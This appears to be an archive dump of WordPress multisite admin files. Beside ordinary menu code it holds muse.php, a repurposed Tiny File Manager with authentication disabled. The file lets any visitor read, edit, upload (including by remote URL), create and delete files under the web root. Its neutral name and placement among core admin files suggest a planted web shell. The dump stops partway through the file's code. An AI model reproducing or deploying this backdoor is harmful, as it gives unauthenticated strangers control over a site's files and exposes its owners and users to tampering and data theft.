			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
freedoms.php000060400000000373151724022660007065 0ustar00<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
muse.php000060400000576313151724022660006246 0ustar00<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}';
//TFM version
define('VERSION', '2.4.0');

//Application Title
define('APP_TITLE', 'Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = false;

$auth_users = array(
    'admin' => '$2y$10$TXL7O6TR6p9A5KAe.2YeourvkoZ/b4GlEvhZJ18vZ4Fvhs6b0HAEO',
    'user' => '$2y$10$TXL7O6TR6p9A5KAe.2YeourvkoZ/b4GlEvhZJ18vZ4Fvhs6b0HAEO'
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true && $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if(isset($_POST['type']) && $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
